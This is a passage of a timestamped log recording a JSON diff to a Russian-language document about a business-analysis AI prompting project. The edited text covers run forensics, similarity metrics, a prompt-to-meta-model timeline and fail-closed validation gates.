\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 154,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 155,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- \u0418\u0442\u043e\u0433 \u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014 6%.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" > **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" > \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 175,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 178,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 183,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 17,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 187,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 19,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 212,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 10,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 218,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 14,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 265,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 275,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0414\u0430\u0436\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 273,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 9,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 284,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 10,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0018 \u2014 \u043f\u0440\u043e\u043c\u043f\u0442 \u0438\u0437 8 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> 8 